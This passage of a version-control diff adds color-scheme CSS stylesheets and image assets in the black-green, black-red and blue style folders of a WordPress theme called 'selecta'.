+/*-------------------------------------------------------------------------------------------*/ +#header{background: #C3E024;} +#feature-post-container{background: #111; border-top: 1px solid #444; border-bottom: 1px solid #444;} +.post-slider{border-bottom: 1px dotted #555;} +#footer-container{background: #111; border-top: 1px solid #444; border-bottom: 1px solid #444;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- HEADER ----------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + /*--------------------------*/ + /*- MENU -------------------*/ + ul#menu li.parent-item a.parent-link{color: #111;} + ul#menu li.parent-item a.parent-link:hover{color: #fff;} + + /*--------------------------*/ + /*- SUB MENU ---------------*/ + ul.sub-menu{background: url(submenu-header.png) top no-repeat;} + ul.sub-menu li{background: #fff;} + ul.sub-menu li a{border-bottom: 1px dotted #ccc;} + .sub-menu-footer{background: url(submenu-footer.png) bottom no-repeat;} + +/*-------------------------------------------------------------------------------------------*/ +/*- ROUNDED CORNERS - Before we do anything, let's set the rounded corners ------------------*/ +/*-------------------------------------------------------------------------------------------*/ + +/*- ------------------------------------------------------------------------------------------- + NOTE: There are two color references in the div description + The first is the containers background color + "LIGHT" refers to the light containing div (eg. the copy containers) + "DARK" refers to the darker containing div (eg. side-bar containers) + The second reference is the background that the container sits it + "NORMAL" refers to the body background color + "DARK" refers to the darker containing div background color (eg. the 'feature post' container) +------------------------------------------------------------------------------------------ -*/ +.container-light{background: #fff;} +.container-dark{background: #101010;} + +/*- LIGHT -*/ +.container-header-light-dark{background: url(rounded-corners-light-dark.png) 100% 0;} +.container-header-light-dark span{background: url(rounded-corners-light-dark.png) 0 0;} +.container-footer-light-dark{background: url(rounded-corners-light-dark.png) 0 100%;} +.container-footer-light-dark span{background: url(rounded-corners-light-dark.png) 100% 100%;} + +.container-header-light-normal{background: url(rounded-corners-light-normal.png) 100% 0;} +.container-header-light-normal span{background: url(rounded-corners-light-normal.png) 0 0;} +.container-footer-light-normal{background: url(rounded-corners-light-normal.png) 0 100%;} +.container-footer-light-normal span{background: url(rounded-corners-light-normal.png) 100% 100%;} + +/*- DARK -*/ +.container-header-dark-dark{background: url(rounded-corners-dark-dark.png) 100% 0;} +.container-header-dark-dark span{background: url(rounded-corners-dark-dark.png) 0 0;} +.container-footer-dark-dark{background: url(rounded-corners-dark-dark.png) 0 100%;} +.container-footer-dark-dark span{background: url(rounded-corners-dark-dark.png) 100% 100%;} + +.container-header-dark-normal{background: url(rounded-corners-dark-normal.png) 100% 0;} +.container-header-dark-normal span{background: url(rounded-corners-dark-normal.png) 0 0;} +.container-footer-dark-normal{background: url(rounded-corners-dark-normal.png) 0 100%;} +.container-footer-dark-normal span{background: url(rounded-corners-dark-normal.png) 100% 100%;} + +/*- ------------------------------------------------------------------------------------------- + NOTE: This is udes for the dark style themes only, just to spicen up the activity. + The color is called 'alt' and is determined by the header and footer id's +------------------------------------------------------------------------------------------ -*/ + +#header-container .container-dark, #footer-container .container-dark{background: #C3E024;} + +/*- ALT -*/ +#header-container .container-header-dark-dark, #footer-container .container-header-dark-dark + {background: url(rounded-corners-alt-dark.png) 100% 0;} +#header-container .container-header-dark-dark span, #footer-container .container-header-dark-dark span + {background: url(rounded-corners-alt-dark.png) 0 0;} +#header-container .container-footer-dark-dark, #footer-container .container-footer-dark-dark + {background: url(rounded-corners-alt-dark.png) 0 100%;} +#header-container .container-footer-dark-dark span, #footer-container .container-footer-dark-dark span + {background: url(rounded-corners-alt-dark.png) 100% 100%;} + +#header-container .container-header-dark-normal, #footer-container .container-header-dark-normal span + {background: url(rounded-corners-alt-normal.png) 100% 0;} +#header-container .container-header-dark-normal span, #footer-container .container-header-dark-normal span + {background: url(rounded-corners-alt-normal.png) 0 0;} +#header-container .container-footer-dark-normal, #footer-container .container-footer-dark-normal + {background: url(rounded-corners-alt-normal.png) 0 100%;} +#header-container .container-footer-dark-normal span, #footer-container .container-footer-dark-normal span + {background: url(rounded-corners-alt-normal.png) 100% 100%;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- HOME PAGE LAYOUT ------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + + /*--------------------------------------------------------*/ + /*- FEATURE POSTS ----------------------------------------*/ + .selected-feature{} + .selected-feature .feature-title{background: url(title-swish-bg.png) bottom left no-repeat;} + .selected-feature h4{color: #fff;} + .selected-feature h2 a{color: #C3E024;} + .selected-feature h2 a:hover{color: #3B96DF;} + + ul.feature-list li span.item{color: #fff; background: url(feature-list-number-bg.png) top right no-repeat;} + ul.feature-list li h4{color: #fff;} + ul.feature-list li a{color: #C3E024;} + ul.feature-list li a:hover{color: #fff;} + + + /*-------------------------------------------------------------*/ + /*- THE FEATURE CONTAINER DIV IS ALSO USED FOR PAGE TITLES ----*/ + #feature-post h1{color: #fff;} + #feature-post .post h2.title a:hover{color: #3B96DF;} + #feature-post .post h4{color: #CFEE27;} + + + /*--------------------------------------------------------*/ + /*- POST SLIDER ------------------------------------------*/ + .post-slider h2{color: #fff;} + .post-slider ul li .content{background: #fff;} + .post-slider ul li h3{background: url(slider-lip.png) 15px 0px no-repeat;} + .post-slider ul li h3 a{color: #C3E024;} + .post-slider ul li h3 a:hover{color: #fff;} + + + + /*--------------------------------------------------------*/ + /*- PAGINATION -------------------------------------------*/ + ul.page_button_content li a{background: url(pagination.png) no-repeat;} + ul.page_button_content li a.other-page{color: #C3E024;} + ul.page_button_content li a.other-page:hover{color: #111;} + ul.page_button_content li a.selected-page{color: #111;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- POSTS CLASSES ---------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +/*- RESET SOME CLASSES FOR THE COPY AFTER CLEARING EVERYTHING AT THE TOP OF THE CSS -*/ +.post .copy a{color: #3B96DF;} + .post .copy a:hover{color: #000;} +.post .copy ol, .post .copy ul{color: #555;} + +.post{} + .post-title{background: url(title-swish-bg.png) bottom left no-repeat;} + + .post h2.title, .post h2.title a{color: #fff;} + .post h2.title a:hover{color: #3B96DF;} + .post h4.date{color: #CFEE27;} + + .post .copy{background: #fff;} + .post .copy a.action-link{background: url(action-bg.png) left top no-repeat;} + .post .copy a.action-link span{background: url(action-bg.png) top right no-repeat; color: #111;} + .post .copy a.action-link:hover span{color: #fff;} + .post a.post-comments:hover{color: #111;} + +.post-section-title{border-bottom: 1px dotted #555; color: #fff;} +.post .post-section-title{border-bottom: 1px dotted #555; color: #111;} + +/*-------------------------------------------------------------------------------------------*/ +/*- PROMOTE POST ----------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +.enjoy-copy{color: #575757;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- COMMENTS --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +.comment h3{color: #111; border-bottom: 1px dotted #ccc;} + .comment h3 a{color: #111;} + .comment h3 a:hover{color: #C3E024;} + .comment h3 .comment-date{color: #777;} + + .user{background: url(comment-lip.png) top right no-repeat;} + .user img{background: url(avatar-bg.png) top no-repeat;} + .user a.reply-link{color: #111; background: url(reply-button.png) top no-repeat;} + + .comment-content{background: #fff;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- POST A COMMENT --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + .comment-form-content .comment_form label{color: #C3E024;} + + .comment-input{background: url(comment-input-bg.png) no-repeat;} + .comment-input input{color: #ccc;} + + .checkbox{color: #C3E024;} + + .comment-texarea{background: url(comment-message-bg.png) no-repeat;} + .comment-texarea textarea{color: #ccc; background: none;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- ARCHIVES --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +a.archive-date{color: #C3E024;} + a.archive-date:hover{color: #fff;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- SIDE BAR --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +#sidebar h2, #sidebar h2 a{color: #C3E024;} + +#sidebar ul li.widget{color: #999;} + #sidebar ul li ul li{border-bottom: 1px dotted #444; color: #999;} + #sidebar ul li a{color: #fff;} + #sidebar ul li a:hover{color: #2FC6FF;} + + /*--------------------------------------------*/ + /*- SPECIFIC SIDE BAR STYLE ------------------*/ + #sidebar ul li.flickr, #sidebar ul li.recent-comments, #sidebar ul li.sponsors{} + #sidebar ul li.recent-comments h2, #sidebar ul li.flickr h2{color: #111;} + + + /*--------------------------------------------*/ + /*- SPONSORS ---------------------------------*/ + #sidebar .advert{background: url(small-advert-bg.png);} + + + /*--------------------------------------------*/ + /*- DETAILED LISTING IN SIDE BAR -------------*/ + #sidebar ul li.recent-comments h2.recent-comments-title{color: #111;} + #sidebar ul li.recent-comments ul li{border-bottom: 1px dotted #333;} + #sidebar ul li.recent-comments ul li a.detail-image{background: url(avatar-bg.png) top no-repeat;} + #sidebar ul li.recent-comments ul li a.detail-image:hover{background: url(avatar-bg.png) bottom no-repeat;} + + #sidebar ul li.recent-comments ul li a.detail-link{color: #ccc;} + #sidebar ul li.recent-comments ul li a.detail-link span.date{color: #CFEE27;} + #sidebar ul li.recent-comments ul li a.detail-link:hover{color: #2FC6FF;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- FOOTER ----------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + ul.footer-columns h3{color: #111;} + ul.footer-columns p{color: #000;} + + ul.footer-columns ul li{color: #fff; border-bottom: 1px dotted #fff;} + ul.footer-columns a{color: #000;} + ul.footer-columns a:hover{color: #333;} + + p.copyright{color: #555;} + p.copyright a{color: #888;} + p.copyright a:hover{color: #FF6666;} + a.obox-logo{background: url(obox-logo.png) top;} + a.obox-logo:hover{background: url(obox-logo.png) bottom;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- SOME STANDARD WORDPRESS PLUGIN/WIDGET STYLES --------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + + /*--------------------------------------------*/ + /*- FLICKR -----------------------------------*/ + #flickr_badge_wrapper .flickr_badge_image a{background: url(flickr-bg.png) top no-repeat;} + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/submenu-footer.png Binary file web/wp-content/themes/selecta/color-styles/black-green/submenu-footer.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/submenu-header.png Binary file web/wp-content/themes/selecta/color-styles/black-green/submenu-header.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/submit-comment.png Binary file web/wp-content/themes/selecta/color-styles/black-green/submit-comment.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-green/title-swish-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-green/title-swish-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/Thumbs.db Binary file web/wp-content/themes/selecta/color-styles/black-red/Thumbs.db has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/action-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-red/action-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/avatar-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-red/avatar-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/comment-input-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-red/comment-input-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/comment-lip.png Binary file web/wp-content/themes/selecta/color-styles/black-red/comment-lip.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/comment-message-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-red/comment-message-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/feature-list-number-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-red/feature-list-number-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/flickr-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-red/flickr-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/obox-logo.png Binary file web/wp-content/themes/selecta/color-styles/black-red/obox-logo.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/pagination.png Binary file web/wp-content/themes/selecta/color-styles/black-red/pagination.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/reply-button.png Binary file web/wp-content/themes/selecta/color-styles/black-red/reply-button.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/rounded-corners-alt-dark.png Binary file web/wp-content/themes/selecta/color-styles/black-red/rounded-corners-alt-dark.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/rounded-corners-alt-normal.png Binary file web/wp-content/themes/selecta/color-styles/black-red/rounded-corners-alt-normal.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/rounded-corners-dark-dark.png Binary file web/wp-content/themes/selecta/color-styles/black-red/rounded-corners-dark-dark.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/rounded-corners-dark-n.png Binary file web/wp-content/themes/selecta/color-styles/black-red/rounded-corners-dark-n.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/rounded-corners-dark-normal.png Binary file web/wp-content/themes/selecta/color-styles/black-red/rounded-corners-dark-normal.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/rounded-corners-light-1.png Binary file web/wp-content/themes/selecta/color-styles/black-red/rounded-corners-light-1.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/rounded-corners-light-dark.png Binary file web/wp-content/themes/selecta/color-styles/black-red/rounded-corners-light-dark.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/rounded-corners-light-normal.png Binary file web/wp-content/themes/selecta/color-styles/black-red/rounded-corners-light-normal.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/slider-lip.png Binary file web/wp-content/themes/selecta/color-styles/black-red/slider-lip.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/small-advert-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-red/small-advert-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/color-styles/black-red/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,270 @@ +/*-------------------------------------------------------------------------------------------*/ +/*- SETUP STD CLASSES -----------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +body{color: #111; background: #333;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- GLOBAL CLASSES --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +/*--- Links ---*/ +a.std_link, a{color: #ff3333;} +a:active{color: #c00;} +a:hover{color: #111;} + +/*-------------------------------------------------------------------------------------------*/ +/*- GENERAL LAYOUT --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +#header{background: #ff3333;} +#feature-post-container{background: #111; border-top: 1px solid #444; border-bottom: 1px solid #444;} +.post-slider{border-bottom: 1px dotted #555;} +#footer-container{background: #111; border-top: 1px solid #444; border-bottom: 1px solid #444;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- HEADER ----------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + /*--------------------------*/ + /*- MENU -------------------*/ + ul#menu li.parent-item a.parent-link{color: #111;} + ul#menu li.parent-item a.parent-link:hover{color: #fff;} + + /*--------------------------*/ + /*- SUB MENU ---------------*/ + ul.sub-menu{background: url(submenu-header.png) top no-repeat;} + ul.sub-menu li{background: #fff;} + ul.sub-menu li a{border-bottom: 1px dotted #ccc;} + .sub-menu-footer{background: url(submenu-footer.png) bottom no-repeat;} + +/*-------------------------------------------------------------------------------------------*/ +/*- ROUNDED CORNERS - Before we do anything, let's set the rounded corners ------------------*/ +/*-------------------------------------------------------------------------------------------*/ + +/*- ------------------------------------------------------------------------------------------- + NOTE: There are two color references in the div description + The first is the containers background color + "LIGHT" refers to the light containing div (eg. the copy containers) + "DARK" refers to the darker containing div (eg. side-bar containers) + The second reference is the background that the container sits it + "NORMAL" refers to the body background color + "DARK" refers to the darker containing div background color (eg. the 'feature post' container) +------------------------------------------------------------------------------------------ -*/ +.container-light{background: #fff;} +.container-dark{background: #101010;} + +/*- LIGHT -*/ +.container-header-light-dark{background: url(rounded-corners-light-dark.png) 100% 0;} +.container-header-light-dark span{background: url(rounded-corners-light-dark.png) 0 0;} +.container-footer-light-dark{background: url(rounded-corners-light-dark.png) 0 100%;} +.container-footer-light-dark span{background: url(rounded-corners-light-dark.png) 100% 100%;} + +.container-header-light-normal{background: url(rounded-corners-light-normal.png) 100% 0;} +.container-header-light-normal span{background: url(rounded-corners-light-normal.png) 0 0;} +.container-footer-light-normal{background: url(rounded-corners-light-normal.png) 0 100%;} +.container-footer-light-normal span{background: url(rounded-corners-light-normal.png) 100% 100%;} + +/*- DARK -*/ +.container-header-dark-dark{background: url(rounded-corners-dark-dark.png) 100% 0;} +.container-header-dark-dark span{background: url(rounded-corners-dark-dark.png) 0 0;} +.container-footer-dark-dark{background: url(rounded-corners-dark-dark.png) 0 100%;} +.container-footer-dark-dark span{background: url(rounded-corners-dark-dark.png) 100% 100%;} + +.container-header-dark-normal{background: url(rounded-corners-dark-normal.png) 100% 0;} +.container-header-dark-normal span{background: url(rounded-corners-dark-normal.png) 0 0;} +.container-footer-dark-normal{background: url(rounded-corners-dark-normal.png) 0 100%;} +.container-footer-dark-normal span{background: url(rounded-corners-dark-normal.png) 100% 100%;} + +/*- ------------------------------------------------------------------------------------------- + NOTE: This is udes for the dark style themes only, just to spicen up the activity. + The color is called 'alt' and is determined by the header and footer id's +------------------------------------------------------------------------------------------ -*/ + +#header-container .container-dark, #footer-container .container-dark{background: #ff3333;} + +/*- ALT -*/ +#header-container .container-header-dark-dark, #footer-container .container-header-dark-dark + {background: url(rounded-corners-alt-dark.png) 100% 0;} +#header-container .container-header-dark-dark span, #footer-container .container-header-dark-dark span + {background: url(rounded-corners-alt-dark.png) 0 0;} +#header-container .container-footer-dark-dark, #footer-container .container-footer-dark-dark + {background: url(rounded-corners-alt-dark.png) 0 100%;} +#header-container .container-footer-dark-dark span, #footer-container .container-footer-dark-dark span + {background: url(rounded-corners-alt-dark.png) 100% 100%;} + +#header-container .container-header-dark-normal, #footer-container .container-header-dark-normal span + {background: url(rounded-corners-alt-normal.png) 100% 0;} +#header-container .container-header-dark-normal span, #footer-container .container-header-dark-normal span + {background: url(rounded-corners-alt-normal.png) 0 0;} +#header-container .container-footer-dark-normal, #footer-container .container-footer-dark-normal + {background: url(rounded-corners-alt-normal.png) 0 100%;} +#header-container .container-footer-dark-normal span, #footer-container .container-footer-dark-normal span + {background: url(rounded-corners-alt-normal.png) 100% 100%;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- HOME PAGE LAYOUT ------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + + /*--------------------------------------------------------*/ + /*- FEATURE POSTS ----------------------------------------*/ + .selected-feature{} + .selected-feature .feature-title{background: url(title-swish-bg.png) bottom left no-repeat;} + .selected-feature h4{color: #fff;} + .selected-feature h2 a{color: #ff3333;} + .selected-feature h2 a:hover{color: #fff;} + + ul.feature-list li span.item{color: #fff; background: url(feature-list-number-bg.png) top right no-repeat;} + ul.feature-list li h4{color: #fff;} + ul.feature-list li a{color: #ff3333;} + ul.feature-list li a:hover{color: #fff;} + + + /*-------------------------------------------------------------*/ + /*- THE FEATURE CONTAINER DIV IS ALSO USED FOR PAGE TITLES ----*/ + #feature-post h1{color: #fff;} + #feature-post .post h2.title a:hover{color: #ff3333;} + #feature-post .post h4{color: #f00;} + + + /*--------------------------------------------------------*/ + /*- POST SLIDER ------------------------------------------*/ + .post-slider h2{color: #fff;} + .post-slider ul li .content{background: #fff;} + .post-slider ul li h3{background: url(slider-lip.png) 15px 0px no-repeat;} + .post-slider ul li h3 a{color: #ff3333;} + .post-slider ul li h3 a:hover{color: #fff;} + + + + /*--------------------------------------------------------*/ + /*- PAGINATION -------------------------------------------*/ + ul.page_button_content li a{background: url(pagination.png) no-repeat;} + ul.page_button_content li a.selected-page{color: #fff;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- POSTS CLASSES ---------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +/*- RESET SOME CLASSES FOR THE COPY AFTER CLEARING EVERYTHING AT THE TOP OF THE CSS -*/ +.post .copy a{color: #ff3333;} + .post .copy a:hover{color: #000;} +.post .copy ol, .post .copy ul{color: #555;} + +.post{} + .post-title{background: url(title-swish-bg.png) bottom left no-repeat;} + + .post h2.title, .post h2.title a{color: #fff;} + .post h2.title a:hover{color: #f00;} + .post h4.date{color: #ff3333;} + + .post .copy{background: #fff;} + .post .copy a.action-link{background: url(action-bg.png) left top no-repeat;} + .post .copy a.action-link span{background: url(action-bg.png) top right no-repeat; color: #111;} + .post .copy a.action-link:hover span{color: #fff;} + .post a.post-comments:hover{color: #111;} + +.post-section-title{border-bottom: 1px dotted #555; color: #fff;} +.post .post-section-title{border-bottom: 1px dotted #555; color: #111;} + +/*-------------------------------------------------------------------------------------------*/ +/*- PROMOTE POST ----------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +.enjoy-copy{color: #575757;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- COMMENTS --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +.comment h3{color: #111; border-bottom: 1px dotted #ccc;} + .comment h3 a{color: #111;} + .comment h3 a:hover{color: #ff3333;} + .comment h3 .comment-date{color: #777;} + + .user{background: url(comment-lip.png) top right no-repeat;} + .user img{background: url(avatar-bg.png) top no-repeat;} + .user a.reply-link{color: #111; background: url(reply-button.png) top no-repeat;} + + .comment-content{background: #fff;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- POST A COMMENT --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + .comment-form-content .comment_form label{color: #FF6666;} + + .comment-input{background: url(comment-input-bg.png) no-repeat;} + .comment-input input{color: #ccc;} + + .checkbox{color: #FF6666;} + + .comment-texarea{background: url(comment-message-bg.png) no-repeat;} + .comment-texarea textarea{color: #ccc; background: none;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- ARCHIVES --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +a.archive-date{color: #ff3333;} + a.archive-date:hover{color: #fff;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- SIDE BAR --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +#sidebar h2, #sidebar h2 a{color: #ff3333;} + +#sidebar ul li.widget{color: #999;} + #sidebar ul li ul li{border-bottom: 1px dotted #444; color: #999;} + #sidebar ul li a{color: #fff;} + #sidebar ul li a:hover{color: #2FC6FF;} + + /*--------------------------------------------*/ + /*- SPECIFIC SIDE BAR STYLE ------------------*/ + #sidebar ul li.flickr, #sidebar ul li.recent-comments, #sidebar ul li.sponsors{} + #sidebar ul li.recent-comments h2, #sidebar ul li.flickr h2{color: #111;} + + + /*--------------------------------------------*/ + /*- SPONSORS ---------------------------------*/ + #sidebar .advert{background: url(small-advert-bg.png);} + + + /*--------------------------------------------*/ + /*- DETAILED LISTING IN SIDE BAR -------------*/ + #sidebar ul li.recent-comments h2.recent-comments-title{color: #111;} + #sidebar ul li.recent-comments ul li{border-bottom: 1px dotted #333;} + #sidebar ul li.recent-comments ul li a.detail-image{background: url(avatar-bg.png) top no-repeat;} + #sidebar ul li.recent-comments ul li a.detail-image:hover{background: url(avatar-bg.png) bottom no-repeat;} + + #sidebar ul li.recent-comments ul li a.detail-link{color: #ccc;} + #sidebar ul li.recent-comments ul li a.detail-link span.date{color: #CFEE27;} + #sidebar ul li.recent-comments ul li a.detail-link:hover{color: #2FC6FF;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- FOOTER ----------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + ul.footer-columns h3{color: #111;} + ul.footer-columns p{color: #000;} + + ul.footer-columns ul li{color: #fff; border-bottom: 1px dotted #f00;} + ul.footer-columns a{color: #fff;} + ul.footer-columns a:hover{color: #000;} + + p.copyright{color: #555;} + p.copyright a{color: #888;} + p.copyright a:hover{color: #FF6666;} + a.obox-logo{background: url(obox-logo.png) top;} + a.obox-logo:hover{background: url(obox-logo.png) bottom;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- SOME STANDARD WORDPRESS PLUGIN/WIDGET STYLES --------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + + /*--------------------------------------------*/ + /*- FLICKR -----------------------------------*/ + #flickr_badge_wrapper .flickr_badge_image a{background: url(flickr-bg.png) top no-repeat;} + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/submenu-footer.png Binary file web/wp-content/themes/selecta/color-styles/black-red/submenu-footer.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/submenu-header.png Binary file web/wp-content/themes/selecta/color-styles/black-red/submenu-header.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/submit-comment.png Binary file web/wp-content/themes/selecta/color-styles/black-red/submit-comment.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/black-red/title-swish-bg.png Binary file web/wp-content/themes/selecta/color-styles/black-red/title-swish-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/LOGO.png Binary file web/wp-content/themes/selecta/color-styles/blue/LOGO.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/Thumbs.db Binary file web/wp-content/themes/selecta/color-styles/blue/Thumbs.db has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/action-bg.png Binary file web/wp-content/themes/selecta/color-styles/blue/action-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/avatar-bg.png Binary file web/wp-content/themes/selecta/color-styles/blue/avatar-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/comment-input-bg.png Binary file web/wp-content/themes/selecta/color-styles/blue/comment-input-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/comment-lip.png Binary file web/wp-content/themes/selecta/color-styles/blue/comment-lip.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/comment-message-bg.png Binary file web/wp-content/themes/selecta/color-styles/blue/comment-message-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/feature-list-number-bg.png Binary file web/wp-content/themes/selecta/color-styles/blue/feature-list-number-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/feature-list-numbers.png Binary file web/wp-content/themes/selecta/color-styles/blue/feature-list-numbers.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/flickr-bg.png Binary file web/wp-content/themes/selecta/color-styles/blue/flickr-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/obox-logo.png Binary file web/wp-content/themes/selecta/color-styles/blue/obox-logo.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/pagination.png Binary file web/wp-content/themes/selecta/color-styles/blue/pagination.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/reply-button.png Binary file web/wp-content/themes/selecta/color-styles/blue/reply-button.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/rounded-corners-dark-dark.png Binary file web/wp-content/themes/selecta/color-styles/blue/rounded-corners-dark-dark.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/rounded-corners-dark-normal.png Binary file web/wp-content/themes/selecta/color-styles/blue/rounded-corners-dark-normal.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/rounded-corners-light-1.png Binary file web/wp-content/themes/selecta/color-styles/blue/rounded-corners-light-1.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/rounded-corners-light-dark.png Binary file web/wp-content/themes/selecta/color-styles/blue/rounded-corners-light-dark.png has changed diff 